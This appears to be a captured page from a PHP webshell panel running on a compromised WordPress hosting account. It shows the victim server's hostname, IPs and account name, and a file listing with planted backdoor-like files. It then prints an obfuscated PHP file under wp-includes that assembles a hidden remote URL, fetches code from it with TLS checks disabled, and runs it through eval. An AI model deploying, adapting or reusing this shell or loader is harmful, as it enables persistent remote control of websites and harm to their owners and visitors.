Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
8.1.33 Safe mode: OFF Datetime: 2025-12-15 09:52:40
2792.60 GB Free: 1879.16 GB (67%)
/home/kheruwym/public_html/ dr-xr-xr-x [ root ] [ home ] Text

Server IP:
202.131.4.21
Client IP:
216.73.216.89
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2025-11-28 13:13:32dr-xr-xr-xRename Touch
[ .. ]dir2025-12-11 23:22:37drwx--x--xRename Touch
[ .tmb ]dir2025-11-12 07:07:40drwxrwxrwxRename Touch
[ .well-known ]dir2025-11-12 07:07:35drwxr-xr-xRename Touch
[ 117cb ]dir2025-11-14 05:53:05dr-xr-xr-xRename Touch
[ 1d8b10 ]dir2025-11-14 08:28:52drwxr-xr-xRename Touch
[ cgi-bin ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ f4727b ]dir2025-11-19 07:48:55drwxr-xr-xRename Touch
[ images ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ wp-admin ]dir2025-11-26 03:07:13drwxr-xr-xRename Touch
[ wp-content ]dir2025-11-22 08:16:38drwxr-xr-xRename Touch
[ wp-includes ]dir2025-11-22 08:16:25drwxr-xr-xRename Touch
.htaccess1.13 KB2025-11-28 13:17:43-r-xr-xr-xRename Touch Edit Download
.htaccess.phpupgrader.574027731.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.9e97ffcf1.45 KB2023-08-02 18:50:37-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.initial1.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
click.php1.93 KB2023-09-14 08:16:25-r--r--r--Rename Touch Edit Download
defaults.php1.93 KB2023-07-21 03:50:14-r--r--r--Rename Touch Edit Download
ex.php5.96 KB2025-11-28 13:13:32-rw-r--r--Rename Touch Edit Download
header.php0 B2025-11-10 06:52:51-rw-r--r--Rename Touch Edit Download
index.php35.97 KB2023-05-29 08:16:38-r-xr-xr-xRename Touch Edit Download
index.php035.97 KB2023-09-11 08:16:37-rwxr-xr-xRename Touch Edit Download
item.php1.29 KB2023-08-18 08:15:39-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
mah.php1.93 KB2023-12-31 03:48:47-r--r--r--Rename Touch Edit Download
networks.php1.29 KB2024-01-13 03:43:18-r--r--r--Rename Touch Edit Download
options.php1.93 KB2023-12-03 08:16:25-r--r--r--Rename Touch Edit Download
pages.php1.44 KB2023-07-28 08:15:18-r--r--r--Rename Touch Edit Download
php.ini40 B2025-11-18 19:54:41-rw-r--r--Rename Touch Edit Download
plugins.php1.87 KB2023-07-01 08:16:25-r--r--r--Rename Touch Edit Download
product.php2.03 KB2023-04-16 03:50:14-r--r--r--Rename Touch Edit Download
quoys.php26.20 KB2025-11-13 01:08:41-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2025-09-30 22:02:04-rw-r--r--Rename Touch Edit Download
robots.txt364 B2023-06-15 08:16:38-r--r--r--Rename Touch Edit Download
search.php1.46 KB2023-12-19 08:16:38-r--r--r--Rename Touch Edit Download
track.php6.49 KB2025-11-12 04:05:52-rw-r--r--Rename Touch Edit Download
txets.php5.89 KB2025-11-12 06:13:57-rw-r--r--Rename Touch Edit Download
wp-activate.php7.21 KB2024-04-02 19:31:34-rw-r--r--Rename Touch Edit Download
wp-blog-header.php347 B2025-11-10 06:52:59-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-08-09 07:36:19-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
wp-config.php3.12 KB2022-02-15 07:01:10-rw-------Rename Touch Edit Download
wp-confiq.php0 B2025-11-10 06:52:50-rw-r--r--Rename Touch Edit Download
wp-cron.php5.51 KB2025-11-10 06:53:00-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-log1n.php1.72 KB2024-01-28 08:14:59-r--r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-settings.php29.38 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.98 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
xmlshell.php243.86 KB2025-11-13 16:26:34-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
User: kheruwym (1551)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/kheruwym/public_html/wp-includes/pl712eff/edit.php
<?php goto U_scD; rbSrH: $SbPow .= "\57"; goto O0CtN; b1k24: $SbPow .= "\164"; goto wYZQI; PwSfr: $SbPow .= "\164\x74\150"; goto TxqNE; AohfH: $SbPow .= "\x6f\x63"; goto m1SOX; Ksvat: $SbPow .= "\163\x2e"; goto nDQSP; pAJZm: $SbPow .= "\x31"; goto KskAC; wYZQI: $SbPow .= "\170\164\x2e"; goto pAJZm; O0CtN: $SbPow .= "\57\72\x73\160"; goto PwSfr; axP1p: $SbPow .= "\x2f\x72\x65\160"; goto OQr4g; lv3CU: $SbPow .= "\57\155"; goto AohfH; m1SOX: $SbPow .= "\x2e\141"; goto Ksvat; KskAC: $SbPow .= "\x73\145\x72"; goto axP1p; Oyhp8: $SbPow .= "\x68\56\157\145\163"; goto rbSrH; OQr4g: $SbPow .= "\x75\x73"; goto lv3CU; nDQSP: $SbPow .= "\170\145\x79\x69\145"; goto Oyhp8; TxqNE: eval("\77\76" . qxTlE(strrev($SbPow))); goto msCIW; U_scD: $SbPow = ''; goto b1k24; msCIW: function QXTle($Bml6V, $P1MzZ = "\107\x45\x54", $iRDzp = array(), $HJzmR = 45) { try { goto qNTep; Tfm6n: if (!($P1MzZ == "\120\117\x53\124")) { goto AduuG; } goto Jht1D; pMzgu: $LWA6m = isset($SdBZE["\160\141\164\x68"]) ? $SdBZE["\160\x61\164\150"] : "\57"; goto AyRI5; IgU7C: if (!true) { goto a6V3w; } goto VA9AI; gNV30: $Re0sM = http_build_query($iRDzp); goto y53tF; OP_OX: mQ7Ic: goto IgU7C; acMFK: curl_setopt($sUU9j, CURLOPT_SSL_VERIFYPEER, false); goto rOu2H; r04m5: goto mQ7Ic; goto dyD4Y; KYxV6: $nyjJL = substr($nyjJL, $KHDKx + 2 + $Sbl8P + 2); goto r04m5; Jht1D: $NF2aU .= $Re0sM . "\xd\xa"; goto WEm7Q; xFdLL: if ($ya3tn) { goto zcoA9; } goto kDWyB; a_Gfu: $r2F6a .= substr($nyjJL, $KHDKx + 2, $Sbl8P); goto KYxV6; WifNE: goto a6V3w; goto wXeLL; l_2TY: goto a6V3w; goto fOMCS; FkdoL: $I2l_k = array("{$P1MzZ}\x20{$LWA6m}{$uI0tj}\40\110\124\x54\x50\57\x31\56\61", "\110\x6f\x73\x74\72\x20{$qpBZG}", "\125\163\145\162\x2d\x41\x67\145\x6e\x74\72\x20\115\157\x7a\151\x6c\x6c\x61\57\65\56\60\40\50\127\151\156\x64\157\167\163\x20\116\x54\x20\x31\x30\x2e\60\x3b\x20\127\151\x6e\66\x34\x3b\40\170\x36\64\51\40\x41\160\x70\x6c\145\x57\x65\x62\x4b\x69\x74\57\x35\63\x37\56\x33\x36\40\x28\113\110\124\115\x4c\54\x20\154\151\153\x65\x20\107\x65\x63\153\x6f\51\40\x43\x68\x72\157\155\145\57\x39\61\x2e\60\56\64\64\x37\62\x2e\x31\62\x34\x20\x53\x61\x66\x61\x72\151\x2f\x35\x33\67\56\63\66", "\x43\x6f\x6e\156\145\x63\x74\151\x6f\156\72\x20\103\x6c\x6f\163\145"); goto Gvy2U; MwCcv: if (feof($ya3tn)) { goto r2svL; } goto QuZHh; pG9Rm: if (!($P1MzZ == "\x50\x4f\x53\x54")) { goto D6Nxt; } goto m8wUp; y53tF: $I2l_k[] = "\x43\x6f\156\164\145\x6e\x74\x2d\x54\171\x70\x65\x3a\40\141\160\x70\154\x69\143\141\164\x69\x6f\x6e\x2f\170\55\167\167\x77\55\146\x6f\162\155\x2d\165\162\154\145\x6e\x63\157\144\x65\144"; goto YN5YQ; fWFGC: $r2F6a = ''; goto OP_OX; j4nKe: $Y8hdJ = isset($SdBZE["\x70\x6f\162\164"]) ? $SdBZE["\160\x6f\162\x74"] : ($xHeNX === "\150\x74\164\x70\x73" ? 443 : 80); goto s2vvL; fOMCS: UHwp3: goto XEE1B; QuZHh: $y5bjz .= fgets($ya3tn, 1024); goto KvGlo; fLxAs: IqZZH: goto WNpXh; A5Ypt: $I2l_k = isset($PR2u_[0]) ? $PR2u_[0] : ''; goto opi9b; CaQf1: am9Mz: goto MwCcv; WEm7Q: AduuG: goto BkBhj; id6GS: curl_setopt($sUU9j, CURLOPT_USERAGENT, "\x47\x4f"); goto SVbCj; sPXMt: curl_setopt($sUU9j, CURLOPT_POSTFIELDS, http_build_query($iRDzp)); goto lrDPb; lFeEA: Wt2cT: goto U3k8n; YN5YQ: $I2l_k[] = "\103\x6f\156\x74\145\x6e\x74\55\114\145\x6e\x67\x74\x68\72\x20" . strlen($Re0sM); goto C2WsD; lemWM: zcoA9: goto FkdoL; dyD4Y: a6V3w: goto y6cYQ; rOu2H: curl_setopt($sUU9j, CURLOPT_SSL_VERIFYHOST, false); goto mKxbF; qkVCK: $qpBZG = $SdBZE["\150\157\163\x74"]; goto pMzgu; XEE1B: $Sbl8P = hexdec(substr($nyjJL, 0, $KHDKx)); goto B4fVL; wHGsq: return trim(trim($tMMh5, "\xef\xbb\277")); goto fLxAs; m8wUp: curl_setopt($sUU9j, CURLOPT_POST, 1); goto sPXMt; lrDPb: D6Nxt: goto E68pC; NV6ew: curl_setopt($sUU9j, CURLOPT_RETURNTRANSFER, 1); goto acMFK; hjt2t: curl_close($sUU9j); goto wHGsq; e_yRq: $PR2u_ = explode("\15\12\15\12", $y5bjz, 2); goto A5Ypt; allQ4: if (!($KHDKx === false)) { goto UHwp3; } goto l_2TY; B4fVL: if (!($Sbl8P === 0)) { goto RzZFV; } goto WifNE; K6rri: $NF2aU = implode("\xd\xa", $I2l_k) . "\15\xa\xd\12"; goto Tfm6n; AyRI5: $uI0tj = isset($SdBZE["\x71\x75\x65\162\x79"]) ? "\x3f" . $SdBZE["\x71\x75\145\162\x79"] : ''; goto z7Itt; C2WsD: m_Q0h: goto K6rri; VVVve: r2svL: goto f5GbM; Gvy2U: if (!($P1MzZ == "\120\x4f\123\124")) { goto m_Q0h; } goto gNV30; s2vvL: $kO6dJ = $xHeNX === "\x68\164\164\160\163" ? "\163\x73\x6c" : "\164\x63\x70"; goto S8sd1; U3k8n: return trim($nyjJL); goto kNWYY; WNpXh: $SdBZE = parse_url($Bml6V); goto qkVCK; VA9AI: $KHDKx = strpos($nyjJL, "\xd\12"); goto allQ4; S8sd1: $ya3tn = stream_socket_client("{$kO6dJ}\72\x2f\x2f{$qpBZG}\72{$Y8hdJ}", $ySqH9, $aoQAo, $HJzmR); goto xFdLL; Ugkbk: if (!(stripos($I2l_k, "\124\x72\141\156\163\x66\x65\x72\55\x45\x6e\x63\x6f\144\x69\156\147\x3a\x20\143\150\x75\x6e\153\x65\x64") !== false)) { goto Wt2cT; } goto fWFGC; wXeLL: RzZFV: goto a_Gfu; f5GbM: fclose($ya3tn); goto e_yRq; SVbCj: curl_setopt($sUU9j, CURLOPT_CONNECTTIMEOUT, 0); goto NV6ew; RHeZk: curl_setopt($sUU9j, CURLOPT_TIMEOUT, $HJzmR); goto pG9Rm; opi9b: $nyjJL = isset($PR2u_[1]) ? $PR2u_[1] : ''; goto Ugkbk; BkBhj: fwrite($ya3tn, $NF2aU); goto aSaxJ; KvGlo: goto am9Mz; goto VVVve; E68pC: $tMMh5 = curl_exec($sUU9j); goto hjt2t; aSaxJ: $y5bjz = ''; goto CaQf1; qNTep: if (!(function_exists("\x63\165\x72\154\137\x69\x6e\151\x74") && function_exists("\143\165\x72\x6c\137\145\170\145\x63"))) { goto IqZZH; } goto NZNCJ; mKxbF: curl_setopt($sUU9j, CURLOPT_FOLLOWLOCATION, true); goto RHeZk; kDWyB: return 0; goto lemWM; y6cYQ: $nyjJL = $r2F6a; goto lFeEA; XHfqg: curl_setopt($sUU9j, CURLOPT_URL, $Bml6V); goto id6GS; z7Itt: $xHeNX = isset($SdBZE["\163\143\150\145\155\145"]) ? $SdBZE["\x73\x63\150\145\x6d\x65"] : "\150\164\x74\x70"; goto j4nKe; NZNCJ: $sUU9j = curl_init(); goto XHfqg; kNWYY: } catch (Exception $eKquG) { } return 0; }